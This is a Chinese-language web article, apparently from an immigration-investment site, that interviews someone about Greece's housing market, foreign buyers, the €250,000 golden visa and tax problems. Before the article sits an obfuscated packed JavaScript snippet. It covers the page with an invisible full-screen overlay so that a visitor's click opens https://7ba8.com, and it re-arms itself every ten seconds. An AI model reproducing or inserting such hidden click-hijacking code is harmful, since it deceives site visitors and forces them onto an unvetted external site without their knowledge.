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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>本文阅读需要耗时约5分钟 随着希腊经济开始复苏，希腊房地产也已经从谷底走出，并因为希腊的黄金居留签证而成为中国移民市场上的“网红”。今天，游移投就和您分享希腊房地产的发展及需要克服的挑战。 请描述一下希腊目前的住房市场。 目前希腊市场上约有280,000套房产在出售，我们看到雅典历史中心较旧的小型公寓需求增加，价格在40,000到100,000欧元之间。雅典海岸线地区的房产也很受关注，价格在20万到40万欧元之间，此外还有包括米科诺斯岛，圣托里尼岛和科孚岛在内的高端旅游目的地的房产从100万到300万欧元不等。就价格而言，它们目前正在雅典的特定地区和大多数旅游目的地中崛起。 告诉我们您所在市场的房产类型，以及最受欢迎的房产类型。 除了在雅典出售物业外，我们还出售位于希腊各地靠近大海的旅游目的地的物业。靠近雅典市中心的物业以及靠近大海的物业最受欢迎。 您与哪些类型的买家合作？ 虽然主要的客户来自欧洲国家，如英国、德国、法国和俄罗斯，但我们也与来自中国的许多买家合作。来自美国和澳大利亚的买家也是一个充满希望的市场。事实上，超过10万名外国人，主要来自美国、中国、欧洲和澳大利亚，目前在希腊拥有自己的房产，其中来自俄罗斯和东欧的人数约为10％。在过去的三年中，我们看到中东国家（阿拉伯联合酋长国，黎巴嫩，以色列，埃及，科威特和沙特阿拉伯）的投资者也对希腊房产越来越感兴趣，同时也有许多来自中国的买家。 希腊房地产市场中有哪些最重要的趋势？ 希腊房地产最吸引海外投资者的的一点是黄金签证计划。购买价值超过25万欧元的物业的非欧盟居民可以采用该计划，为这些投资者及其家人提供有效期为五年的签证（可以续签五年）。希腊的黄金签证计划是欧洲投资额最低的，目前仍在生效，主要向中国和俄罗斯的买家以及阿拉伯联合酋长国公民发放1,300多份许可证。 此外，这些买家对当地人的新建或全面翻新的公寓或别墅的需求不断增加，这与现有的转售物业形成了竞争。然而，在大城市（尤其是雅典）寻找新的建筑物很少见，为买家提供投资旧房产并彻底翻新的机会。 希腊房产最大的挑战/增长机会是什么？ 虽然度假屋、酒店和住宅市场都显示出增长迹象，但它们受到希腊经济状况和高收入税的严重影响。挑战这些市场的主要因素包括政府改革进展缓慢，以及私有化计划进展缓慢。 在希腊也有不稳定的税收制度。事实上，在某些领域，增值税（VAT）从13％增加到24％，为了吸引更多的外国投资者，我们需要努力降低税率和所得税。最后，也是最重要的是，需要减少财产所有权税。随着上述问题的改善，希腊居民的心理和心态将会恢复。与此同时，感兴趣的投资者将更有动力在希腊房地产市场进行风险投资。 -END- |
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